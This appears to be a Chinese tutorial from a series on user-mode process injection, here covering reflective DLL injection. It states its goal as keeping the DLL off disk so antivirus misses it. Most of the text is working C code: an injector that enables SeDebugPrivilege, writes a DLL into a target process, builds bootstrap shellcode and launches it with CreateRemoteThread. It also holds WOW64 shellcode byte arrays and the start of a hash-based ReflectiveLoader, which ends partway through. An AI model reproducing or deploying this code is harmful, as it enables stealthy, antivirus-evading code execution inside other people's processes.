用户层注入:(5)反射注入

反射的概念

  前几篇文章提到了远程线程注入、注册表注入、APC注入等注入方法,这些方法都有一个共同的问题,那么就是需要目标进程所在的计算机上存在对应的Dll文件,否则我们的注入程序调用LoadLibrary函数无法加载。即如果我们想跨计算机注入目标进程,就要将注入程序exe和动态库文件dll打包放到一个文件夹里并发送到目标计算机,但是一旦文件被接收,我们的dll文件就"落地"了,因此就会很容易被常规的杀毒软件检测并查杀。所以,我们有没有什么办法,能在避免Dll文件"落地"的情况下注入到目标计算机的进程中呢?
  当然可以,这就是我们这篇文章要讲的反射注入。
  反射注入,核心思想是将我们待注入的Dll文件以PE文件的格式读入到内存中,在获取目标进程的操作权后,通过Dll文件的导出函数ReflectiveLoader将Dll文件装载到目标进程的地址空间内(以内存对齐的方式),即实现PE文件的手动装载。这样的注入方式,避免了Dll文件在目标计算机中注册自己的存在,从而降低了被检测的风险。

反射注入过程

 注入程序

  ①注入程序(当前进程)通过枚举进程信息,获得目标进程ID,并提升自身权限,打开目标进程,获得目标进程的操作权。
  ②使用OpenFile和ReadFile函数将我们的Dll文件以PE文件的形式读取到当前进程中,通过解析PE文件结构获得导出函数ReflectiveLoader的偏移地址。
  ③在目标进程的地址空间内申请内存,这篇内存主要分为三部分:第一部分保存我们的PE文件内容;第二部分为ShellCode,主要完成ReflectiveLoader函数参数的入栈、调用ReflectiveLoader的功能;第三部分做保留,用于用户保存自定义数据。
  ④调用CreateRemoteThread函数在目标进程中创建远程线程,线程函数地址为我们ShellCode的起始地址,启动ShellCode。

 导出函数

  ①获得当前进程的PEB,找到Ldr成员,其中保存着进程中导入模块的链表,我们通过链表查找Kernel32模块,在模块中搜索LoadLibrary、GetProcAddress、VirtualAlloc等关键函数。
  ②解析PE文件结构,获得各个头的信息。
  ③通过Nt头中的成员SizeOfImage申请内存,用来将Dll文件以内存方式进行加载。
  ④通过选项头中的SizeOfHeaders获得头部大小,并将头部信息进行拷贝。
  ⑤解析区段表,将每个区段的信息进行拷贝,同时注意内存粒度对齐的问题。
  ⑥修正导入表,因为FirstThunk和OriginalFirstThunk在PE文件加载时都是指向保存函数名称的数组,而加载后FirstThunk需要指向真正的函数地址。所以我们需要对函数地址表进行修正。这里分为两种情况:
   1°以函数名导入,直接使用步骤①中获得的GetProcAddress进行函数地址的获取并填入到FirstThunk。
   2°以函数索引导入,需要查看函数对应的Dll导出表,根据索引在导出表中查询函数的真正地址。
  ⑦进行重定位,获得实际基址与ImageBase之间的差值,将需要重定位的函数进行重定位,重定位表的每一项是一个起始地址和若干个WORD类型的偏移地址,将Word类型的偏移地址与0x0FFF进行相与操作后并于起始地址进行组合,就是需要进行重定位的函数地址(具体参考PE文件的重定位等相关文章)。最后将函数地址与差值进行相加即可。
  ⑧调整Dll文件的入口点。

参考代码

 注入程序

LPFN_ISWOW64PROCESS __IsWow64Process = NULL;

static BYTE __ExecutexX64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00"
"\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
"\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00"
"\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24"
"\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24";

static BYTE __FunctionX64[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00"
"\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48"
"\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A"
"\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9"
"\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C"
"\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00"
"\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40"
"\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6"
"\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0"
"\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40"
"\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0"
"\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58"
"\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A"
"\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D"
"\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01"
"\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8"
"\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00"
"\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00"
"\x48\x83\xC4\x50\x48\x89\xFC\xC3";

int _tmain()
{
	HANDLE FileHandle = NULL;
	ULONG  FileDataLength = 0;
	LPVOID FileData = NULL;
	ULONG  NumberOfBytesRead = 0;
	HANDLE ProcessHandle = NULL;
	HANDLE ThreadHandle = NULL;
	DWORD  ExitCode = 0;
	//对当前进程进行提权
	if (SeEnableSeDebugPrivilege(_T("SeDebugPrivilege"), TRUE) == FALSE)
	{
		return 0;
	}

	DWORD ProcessIdentify = 0;
	_tprintf(_T("Input ProcessIdentify:\r\n"));
	//输入进程ID
	_tscanf_s(_T("%d"), &ProcessIdentify,sizeof(DWORD));

#ifdef _WIN64
	TCHAR* DllFullPath = _T("ReflectiveLoader.dll");
#else
	TCHAR* DllFullPath = _T("ReflectiveLoader.dll");
#endif
	//将Dll文件读取到当前进程内存中
	FileHandle = CreateFile(DllFullPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (FileHandle == INVALID_HANDLE_VALUE)
	{
		_tprintf(_T("CreateFile() Error\r\n"));
		goto Exit;
	}
	//获得文件大小
	FileDataLength = GetFileSize(FileHandle, NULL);
	if (FileDataLength == INVALID_FILE_SIZE || FileDataLength == 0)
	{
		_tprintf(_T("GetFileSize() Error\r\n"));
		goto Exit;
	}
	//在堆中申请内存
	FileData = HeapAlloc(GetProcessHeap(), 0, FileDataLength);
	if (!FileData)
	{
		_tprintf(_T("HeapAlloc() Error\r\n"));
		goto Exit;
	}
	//将Dll文件内容读取到堆中申请的内存中
	if (ReadFile(FileHandle, FileData, FileDataLength, &NumberOfBytesRead, NULL) == FALSE)
	{
		_tprintf(_T("ReadFile() Error\r\n"));
		goto Exit;
	}
	//打开目标进程
	ProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
		FALSE, ProcessIdentify);
	if (!ProcessHandle)
	{
		_tprintf(_T("OpenProcess() Error\r\n"));
		goto Exit;
	}

	ThreadHandle = SeLoadRemoteLibrary(ProcessHandle, FileData, FileDataLength, NULL,MY_FUNCTION_HASH,(LPVOID)_T("911"),_tcslen(_T("911"))+sizeof(TCHAR));
	if (!ThreadHandle)
	{
		_tprintf(_T("SeLoadRemoteLibrary() Error\r\n"));
		goto Exit;
	}
	
	WaitForSingleObject(ThreadHandle, INFINITE);
	if (!GetExitCodeThread(ThreadHandle, &ExitCode))

	_tprintf(_T("Input AnyKey To Exit\r\n"));
	_gettchar();
Exit:

	if (FileData)
	{
		HeapFree(GetProcessHeap(), 0, FileData);
	}
    if (FileHandle!=NULL)
    {
		CloseHandle(FileHandle);
		FileHandle = NULL;
    }
	if (ProcessHandle)
	{
		CloseHandle(ProcessHandle);
		ProcessHandle = NULL;
	}
    return 0;
}


BOOL SeEnableSeDebugPrivilege(IN const TCHAR*  PriviledgeName, BOOL IsEnable)
{
	// 打开权限令牌
	HANDLE  ProcessHandle = GetCurrentProcess();
	HANDLE  TokenHandle = NULL;
	TOKEN_PRIVILEGES TokenPrivileges = { 0 };
	if (!OpenProcessToken(ProcessHandle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle))
	{
		return FALSE;
	}
	LUID	v1;
	if (!LookupPrivilegeValue(NULL, PriviledgeName, &v1))		// 通过权限名称查找uID
	{
		CloseHandle(TokenHandle);
		TokenHandle = NULL;
		return FALSE;
	}
	TokenPrivileges.PrivilegeCount = 1;		// 要提升的权限个数
	TokenPrivileges.Privileges[0].Attributes = IsEnable == TRUE ? SE_PRIVILEGE_ENABLED : 0;    // 动态数组,数组大小根据Count的数目
	TokenPrivileges.Privileges[0].Luid = v1;

	if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges,
		sizeof(TOKEN_PRIVILEGES), NULL, NULL))
	{
		_tprintf(_T("%d\r\n"), GetLastError());
		CloseHandle(TokenHandle);
		TokenHandle = NULL;
		return FALSE;
	}
	CloseHandle(TokenHandle);
	TokenHandle = NULL;
	return TRUE;
}

HANDLE WINAPI SeLoadRemoteLibrary(HANDLE ProcessHandle,LPVOID FileData,DWORD  FileDataLength,
	LPVOID ParameterData,DWORD  FunctionHash,LPVOID UserData,DWORD  UserDataLength)
{
	HANDLE ThreadHandle = NULL;
	DWORD  ThreadIdentify = 0;
	DWORD TargetArchitecture = X86; 
	DWORD DllArchitecture = UNKNOWN;

#if defined(_WIN64)
	DWORD CurrentArchitecture = X64;
#elif defined (_WIN32)
	DWORD CurrentArchitecture = X86;
#else
#endif

	__try
	{
		do
		{
			if (!ProcessHandle || !FileData || !FileDataLength)
			{
				break;
			}
			// 获得当前进程的kernel32模块实例句柄
			HMODULE ModuleBase = LoadLibrary(_T("kernel32.dll"));
			if (!ModuleBase)
			{
				break;
			}
			//在kernel32模块中查找IsWow64Process的函数地址
			__IsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(ModuleBase, "IsWow64Process");
			//释放动态库的实例句柄
			FreeLibrary(ModuleBase);
			if (__IsWow64Process)   //如果函数查找成功
			{
				BOOL IsWow64;
				if (!__IsWow64Process(ProcessHandle, &IsWow64))  //函数调用失败
				{
					break;
				}
				//返回值为TRUE
				if (IsWow64)
				{
					TargetArchitecture = X86;
				}	
				else 
				{
					SYSTEM_INFO SystemInfo = { 0 };
					GetNativeSystemInfo(&SystemInfo);
					if (SystemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
					{
						TargetArchitecture = X64;
					}	
					else if (SystemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL)
					{
						TargetArchitecture = X86;
					}
					else
					{
						break;
					}	
				}
			}

			// 获得Dll文件的位数
			//定位到Nt头
			PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)(((PUINT8)FileData) + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);
			if (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // 0x10B  32位
			{
				DllArchitecture = X86;
			}
			else if (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // 0x20B  64位
			{
				DllArchitecture = X64;
			}
			//Dll文件必须与目标进程位数相同
			if (DllArchitecture != TargetArchitecture)
			{
				_tprintf(_T("Must Be Same Architecture\r\n"));
				break;
			}
				
			//从当前Dll文件中获得导出函数ReflectiveLoader的地址
			DWORD ReflectiveLoaderRaw = SeGetReflectiveLoaderRaw(FileData);
			if (!ReflectiveLoaderRaw)
			{
				_tprintf(_T("Could Not Get ReflectiveLoader Raw\r\n"));
				break;
			}
			
			//Dll文件大小+用户自定义数据大小+ShellCode
			DWORD v7 = FileDataLength + UserDataLength + 64;

			//在目标进程中申请内存
			LPVOID v5 = VirtualAllocEx(ProcessHandle, NULL, v7, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
			if (!v5)
			{
				break;
			}
			//将Dll文件写入目标进程,基地址为v5
			if (!WriteProcessMemory(ProcessHandle, v5, FileData, FileDataLength, NULL))
			{
				break;
			}
	
			//导出函数ReflectiveLoader的地址为基地址v5+函数的文件偏移地址
			ULONG_PTR ReflectiveLoader = (ULONG_PTR)v5 + ReflectiveLoaderRaw;  //目标进程中的ReflectiveLoader绝对地址

			//越过Dll文件大小,写入用户自定义的数据,基地址为v10
			ULONG_PTR v10 = (ULONG_PTR)v5 + FileDataLength;
			if (!WriteProcessMemory(ProcessHandle, (LPVOID)v10, UserData, UserDataLength, NULL))
			{
				break;
			}

			//越过UserData,为写入ShellCode的内存,基地址为ShellCode
			ULONG_PTR ShellCode = v10 + UserDataLength;

			//将ReflectiveLoader的启动函数以汇编指令的方式写入到BYTE数组中
			BYTE BootstrapData[64] = { 0 };  
			DWORD BootstrapDataLength = SeCreateBootstrap(
				BootstrapData,
				64,
				TargetArchitecture,
				(ULONG_PTR)ParameterData,
				(ULONG_PTR)v5,
				FunctionHash,
				v10,
				UserDataLength,
				ReflectiveLoader);
			if (BootstrapDataLength <= 0)
			{
				break;
			}
		
			//将保存汇编指令的数组写入到ShellCode内存中
			if (!WriteProcessMemory(ProcessHandle, (LPVOID)ShellCode, BootstrapData, BootstrapDataLength, NULL))
			{
				break;
			}

			// 刷新cache,保证写入正常
			FlushInstructionCache(ProcessHandle, v5, v7);

			//创建远程线程,执行shellcode
			if (CurrentArchitecture == X86 && TargetArchitecture == X64) 
			{
				// 目标64  当前32  
				SeWow64CreateRemoteThread(ProcessHandle, (LPVOID)ShellCode, ParameterData, &ThreadHandle);
				ResumeThread(ThreadHandle);
			}
			else {
				//目标32  当前32
				//目标64  当前64
				//目标32  当前64
				ThreadHandle = CreateRemoteThread(ProcessHandle, NULL, 1024 * 1024,
					(LPTHREAD_START_ROUTINE)ShellCode, ParameterData,
					(DWORD)NULL, &ThreadIdentify);
			}

		} while (0);

	}
	__except (EXCEPTION_EXECUTE_HANDLER)
	{
		ThreadHandle = NULL;
	}

	return ThreadHandle;
}

DWORD SeGetReflectiveLoaderRaw(VOID* BufferData)
{
	UINT_PTR  v1 = 0;
	PIMAGE_NT_HEADERS ImageNtHeaders = NULL;
	ULONG_PTR ImageDataDirectory = 0;
	ULONG_PTR ImageExportDirectory = NULL;
	ULONG_PTR AddressOfNames = 0;
	ULONG_PTR AddressOfFunctions = 0;
	ULONG_PTR AddressOfNameOrdinals = 0;
	DWORD     NumberOfNames = 0;

	//读到内存中的Dll文件基地址(文件粒度对齐)
	v1 = (UINT_PTR)BufferData;
	//定位到NT头
	ImageNtHeaders = (PIMAGE_NT_HEADERS)(v1 + ((PIMAGE_DOS_HEADER)v1)->e_lfanew);
	//判断Dll文件的位数
	if (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // PE32
	{
		//定位到32位的导出表
		ImageDataDirectory = (UINT_PTR)&((PIMAGE_NT_HEADERS32)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
	}
	else if (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // PE64
	{
		//定位到64位的导出表
		ImageDataDirectory = (UINT_PTR)&((PIMAGE_NT_HEADERS64)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
	}
	else
	{
		return 0;
	}

	///内存对齐转换为文件对齐,定位到导出表的文件内地址
	ImageExportDirectory = v1 + RvaToRaw(((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress, v1);  

	// 获得函数名数组的文件偏移地址
	AddressOfNames = v1 + RvaToRaw(((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNames, v1);

	// 获得函数地址数组的文件偏移地址
	AddressOfFunctions = v1 + RvaToRaw(((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions, v1);

	// 获得函数序号数组的文件偏移地址
	AddressOfNameOrdinals = v1 + RvaToRaw(((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNameOrdinals, v1);

	// 获得导出表的导出函数数量
	NumberOfNames = ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->NumberOfNames;

	// 从导出函数中查找我们写入的ReflectiveLoader函数
	while (NumberOfNames--)
	{
		char * FunctionName = (char *)(v1 + RvaToRaw(DEREFERENCE_32(AddressOfNames), v1)); 
		//查找到的函数是为ReflectiveLoader
		if (strstr(FunctionName, "ReflectiveLoader") != NULL)
		{
			// 函数地址的起始地址
			AddressOfFunctions = v1 + RvaToRaw(((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions, v1);

			// 函数真正地址 = 函数起始地址 + 函数索引 * 4
			AddressOfFunctions += (DEREFERENCE_16(AddressOfNameOrdinals) * sizeof(DWORD));

			// 返回函数的文件偏移地址
			return RvaToRaw(DEREFERENCE_32(AddressOfFunctions), v1);
		}
		// 查看下一个函数
		AddressOfNames += sizeof(DWORD);

		// 查看下一个序号
		AddressOfNameOrdinals += sizeof(WORD);
	}

	return 0;
}

DWORD RvaToRaw(DWORD Rva, UINT_PTR ImageBase)  
{
	WORD i = 0;
	WORD NumberOfSections = 0;
	PIMAGE_SECTION_HEADER ImageSectionHeader = NULL;

	//定位到Nt头
	PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)(ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew);
	if (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // PE32
	{
		//越过可选头定位到节表,获得节表头和节数
		PIMAGE_NT_HEADERS32 ImageNtHeaders32 = (PIMAGE_NT_HEADERS32)ImageNtHeaders;
		ImageSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&ImageNtHeaders32->OptionalHeader) + ImageNtHeaders32->FileHeader.SizeOfOptionalHeader);
		NumberOfSections = ImageNtHeaders32->FileHeader.NumberOfSections;
	}
	else if (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // PE64
	{
		PIMAGE_NT_HEADERS64 ImageNtHeaders64 = (PIMAGE_NT_HEADERS64)ImageNtHeaders;
		ImageSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&ImageNtHeaders64->OptionalHeader) + ImageNtHeaders64->FileHeader.SizeOfOptionalHeader);
		NumberOfSections = ImageNtHeaders64->FileHeader.NumberOfSections;
	}
	else
	{
		return 0;
	}

	if (Rva < ImageSectionHeader[0].PointerToRawData)  //如果RVA属于头部信息,无需转换
	{
		return Rva;
	}

	for (i = 0; i < NumberOfSections; i++)//RVA 属于节表内
	{
		//查找RVA属于哪个节表,然后进行转换
		if (Rva >= ImageSectionHeader[i].VirtualAddress && Rva < (ImageSectionHeader[i].VirtualAddress + ImageSectionHeader[i].SizeOfRawData))
		{
			return (Rva - ImageSectionHeader[i].VirtualAddress + ImageSectionHeader[i].PointerToRawData);
		}		
	}

	return 0;
}

DWORD SeCreateBootstrap(LPBYTE BootstrapData,DWORD BootstrapDataLength,DWORD TargetArchitecture,ULONG_PTR ParameterData,
	ULONG_PTR BufferData,DWORD FunctionHashValue,ULONG_PTR UserData,DWORD UserDataLength,ULONG_PTR ReflectiveLoader)
{
	DWORD i = 0;
	if (BootstrapDataLength < 64)
	{
		return 0;
	}

#if defined(_WIN64)
	DWORD CurrentArchitecture = X64;
#elif defined(_WIN32)
	DWORD CurrentArchitecture = X86;
#else

#endif
	//目标是32位
	if (TargetArchitecture == X86) 
	{
		// push UserDataLength
		BootstrapData[i++] = 0x68; 
		//将ReflectiveLoader的第5参数UserDataLength拷贝到push指令后
		MoveMemory(BootstrapData + i, &UserDataLength, sizeof(DWORD));
		//i偏移过参数
		i += sizeof(DWORD);

		// push UserData
		BootstrapData[i++] = 0x68; 
		//将ReflectiveLoader的第4参数UserData拷贝到push指令后
		MoveMemory(BootstrapData + i, &UserData, sizeof(DWORD));
		//i偏移过参数
		i += sizeof(DWORD);

		// push FunctionHashValue
		BootstrapData[i++] = 0x68; 
		//将ReflectiveLoader的第3参数FunctionHashValue拷贝到push指令后
		MoveMemory(BootstrapData + i, &FunctionHashValue, sizeof(DWORD));
		//i偏移过参数
		i += sizeof(DWORD);

		// push BufferData
		BootstrapData[i++] = 0x68; 
		//将ReflectiveLoader的第2参数BufferData拷贝到push指令后
		MoveMemory(BootstrapData + i, &BufferData, sizeof(DWORD));
		//i偏移过参数
		i += sizeof(DWORD);

		// push ParameterData
		BootstrapData[i++] = 0x68;
		//将ReflectiveLoader的第1参数ParameterData拷贝到push指令后
		MoveMemory(BootstrapData + i, &ParameterData, sizeof(DWORD));
		//i偏移过参数
		i += sizeof(DWORD);

		// mov eax, &reflectiveloader
		BootstrapData[i++] = 0xB8;
		//将ReflectiveLoader函数的偏移地址拷贝到mov eax,后
		MoveMemory(BootstrapData + i, &ReflectiveLoader, sizeof(DWORD));
		i += sizeof(DWORD);

		// call eax ,跳转到ReflectiveLoader函数
		BootstrapData[i++] = 0xFF; // CALL
		BootstrapData[i++] = 0xD0; // EAX     

	}
	else if (TargetArchitecture == X64) 
	{
		if (CurrentArchitecture == X86) {
			// mov rcx, <lpParameter>
			MoveMemory(BootstrapData + i, "\x48\xc7\xc1", 3);
			i += 3;
			MoveMemory(BootstrapData + i, &ParameterData, sizeof(ParameterData));
			i += sizeof(ParameterData);

			// mov rdx, <address of image base>
			MoveMemory(BootstrapData + i, "\x48\xc7\xc2", 3);
			i += 3;
			MoveMemory(BootstrapData + i, &BufferData, sizeof(BufferData));
			i += sizeof(BufferData);

			// mov r8d, <hash of function>
			MoveMemory(BootstrapData + i, "\x41\xb8", 2);
			i += 2;
			MoveMemory(BootstrapData + i, &FunctionHashValue, sizeof(FunctionHashValue));
			i += sizeof(FunctionHashValue);

			// mov r9, <address of userdata>
			MoveMemory(BootstrapData + i, "\x49\xc7\xc1", 3);
			i += 3;
			MoveMemory(BootstrapData + i, &UserData, sizeof(UserData));
			i += sizeof(UserData);

			// push <size of userdata>
			BootstrapData[i++] = 0x68; // PUSH (word/dword)
			MoveMemory(BootstrapData + i, &UserDataLength, sizeof(UserDataLength));
			i += sizeof(UserDataLength);

			// sub rsp, 20
			MoveMemory(BootstrapData + i, "\x48\x83\xec\x20", 4);  //
			i += 4;

			// move rax, <address of reflective loader>
			MoveMemory(BootstrapData + i, "\x48\xc7\xc0", 3);
			i += 3;
			MoveMemory(BootstrapData + i, &ReflectiveLoader, sizeof(ReflectiveLoader));
			i += sizeof(ReflectiveLoader);

		}
		else {
			// mov rcx, <lpParameter>
			MoveMemory(BootstrapData + i, "\x48\xb9", 2);
			i += 2;
			MoveMemory(BootstrapData + i, &ParameterData, sizeof(ParameterData));
			i += sizeof(ParameterData);

			// mov rdx, <address of image base>
			MoveMemory(BootstrapData + i, "\x48\xba", 2);
			i += 2;
			MoveMemory(BootstrapData + i, &BufferData, sizeof(BufferData));
			i += sizeof(BufferData);

			// mov r8d, <hash of function>
			MoveMemory(BootstrapData + i, "\x41\xb8", 2);
			i += 2;
			MoveMemory(BootstrapData + i, &FunctionHashValue, sizeof(FunctionHashValue));
			i += sizeof(FunctionHashValue);

			// mov r9, <address of userdata>
			MoveMemory(BootstrapData + i, "\x49\xb9", 2);
			i += 2;
			MoveMemory(BootstrapData + i, &UserData, sizeof(UserData));
			i += sizeof(UserData);

			// push <size of userdata>
			BootstrapData[i++] = 0x68; // PUSH (word/dword)
			MoveMemory(BootstrapData + i, &UserDataLength, sizeof(UserDataLength));
			i += sizeof(UserDataLength);

			// sub rsp, 20
			MoveMemory(BootstrapData + i, "\x48\x83\xec\x20", 4);
			i += 4;

			// move rax, <address of reflective loader>
			MoveMemory(BootstrapData + i, "\x48\xb8", 2);
			i += 2;
			MoveMemory(BootstrapData + i, &ReflectiveLoader, sizeof(ReflectiveLoader));
			i += sizeof(ReflectiveLoader);
		}

		// call rax
		BootstrapData[i++] = 0xFF; // CALL
		BootstrapData[i++] = 0xD0; // RAX
	}

	return i;
}

DWORD SeWow64CreateRemoteThread(HANDLE ProcessHandle, LPVOID ThreadProcedure, LPVOID ParameterData, HANDLE * ThreadHandle)
{
	DWORD IsOk = ERROR_SUCCESS;
	LPFN_EXECUTEX64  ExecuteX64 = NULL;
	LPFN_FUNCTIONX64 FunctionX64 = NULL;

	WOW64CONTEXT*  Wow64Context = NULL;
	OSVERSIONINFO  OsVersionInfo = { 0 };

	do
	{
		OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

		if (!GetVersionEx(&OsVersionInfo))
		{
			_tprintf(_T("GetVersionEx() Error\r\n"));
			break;
		}
		
		if (OsVersionInfo.dwMajorVersion == 5 && OsVersionInfo.dwMinorVersion == 2)
		{
			_tprintf(_T("Is 2003 Error\r\n"));
			break;
		}
		
		ExecuteX64 = (LPFN_EXECUTEX64)VirtualAlloc(NULL, sizeof(__ExecutexX64), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		if (!ExecuteX64)
		{
			_tprintf(_T("VirtualAlloc() Error\r\n"));
			break;
		}

		FunctionX64 = (LPFN_FUNCTIONX64)VirtualAlloc(NULL, sizeof(__FunctionX64) + sizeof(WOW64CONTEXT), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		if (!FunctionX64)
		{
			_tprintf(_T("VirtualAlloc() Error\r\n"));
			break;
		}
		memcpy(ExecuteX64, &__ExecutexX64, sizeof(__ExecutexX64));

		memcpy(FunctionX64, &__FunctionX64, sizeof(__FunctionX64));

		Wow64Context = (WOW64CONTEXT *)((BYTE *)FunctionX64 + sizeof(__FunctionX64));

		Wow64Context->u1.ProcessHandle   = ProcessHandle;   //目标进程句柄
		Wow64Context->u2.ThreadProcedure = ThreadProcedure;
		Wow64Context->u3.ParameterData   = ParameterData;
		Wow64Context->u4.ThreadHandle    = NULL;

		//执行该代码的环境是32位
		if (!ExecuteX64(FunctionX64, (DWORD)Wow64Context))  
		{		
			_tprintf(_T("ExecuteX64() Error\r\n"));
			break;
		}

		if (!Wow64Context->u4.ThreadHandle)
		{		
			_tprintf(_T("ThreadHandle Is NULL\r\n"));
			break;
		}

		// Success! grab the new thread handle from of the context
		*ThreadHandle = Wow64Context->u4.ThreadHandle;

	} while (0);

	if (ExecuteX64)
	{
		VirtualFree(ExecuteX64, 0, MEM_RELEASE);
		ExecuteX64 = NULL;
	}
		
	if (FunctionX64)
	{
		VirtualFree(FunctionX64, 0, MEM_RELEASE);
		FunctionX64 = NULL;
	}
		
	return IsOk;
}

 导出函数

#include <windows.h>
#include <Winternl.h>   
#include <iostream>
#include <intrin.h>
using namespace std;  

namespace REFLECTIVELOADER
{
	typedef HMODULE(WINAPI *LPFN_LOADLIBRARYA) (_In_ LPCSTR);
	typedef LPVOID(WINAPI *LPFN_GETPROCADDRESS) (HMODULE, LPCSTR);
	typedef LPVOID(WINAPI *LPFN_VIRTUALALLOC) (LPVOID, SIZE_T, DWORD, DWORD);
	typedef VOID(WINAPI *LPFN_EXITTHREAD) (DWORD);
	typedef NTSTATUS(NTAPI *LPFN_NTFLUSHINSTRUCTIONCACHE) (HANDLE, PVOID, ULONG);
	typedef BOOL (WINAPI * LPFN_DLLMAIN)( HINSTANCE, DWORD, LPVOID );
	typedef BOOL (*LPFN_MYFUNCTION)( LPVOID, DWORD );
}

#define DEREFERENCE(Value) *(UINT_PTR *)(Value)
#define DEREFERENCE_64(Value) *(DWORD64 *)(Value)
#define DEREFERENCE_32(Value) *(DWORD *)(Value)
#define DEREFERENCE_16(Value) *(WORD *)(Value)
#define DEREFERENCE_8 (Value) *(BYTE *)(Value)

#define KERNEL32_MODULE_HASH			0x6A4ABC5B
#define NTDLL_MODULE_HASH				0x3CFA685D

#define LOADLIBRARYA_HASH				0xEC0E4E8E
#define GETPROCADDRESS_HASH				0x7C0DFCAA
#define VIRTUALALLOC_HASH				0x91AFCA54
#define EXITTHREAD_HSAH					0x60E0CEEF
#define NTFLUSHINSTRUCTIONCACHE_HASH	0x534C0AB8
#define RTLEXITUSERTHREAD_HASH			0xFF7F061A 

typedef struct
{
	WORD	Offset : 12;
	WORD	Type : 4;
}IMAGE_BASE_RELOCATION_ITEM, *PIMAGE_BASE_RELOCATION_ITEM;


#define HASH_KEY	13

#pragma intrinsic( _rotr )
__forceinline DWORD ror(DWORD Value)
{
	return _rotr(Value, HASH_KEY);   //将Value转换为二进制后向右循环移动13位
}
__forceinline DWORD MakeHashValue(char * StringData)
{
	register DWORD HashValue = 0;
	do
	{
		HashValue = ror(HashValue);
		HashValue += *StringData;
	} while (*++StringData);

	return HashValue;
}


__declspec( dllexport )  
VOID WINAPI ReflectiveLoader(LPVOID ParameterData, ULONG_PTR BufferData, DWORD FunctionHashValue, LPVOID UserData, DWORD UserDataLength)
{
	PPEB Peb = NULL;
	ULONG_PTR Ldr = 0;
	PLDR_DATA_TABLE_ENTRY LdrDataTableEntry = NULL;
	ULONG_PTR ModuleName = 0;
	USHORT    ModuleNameLength;
	ULONG_PTR ModuleHashValue;
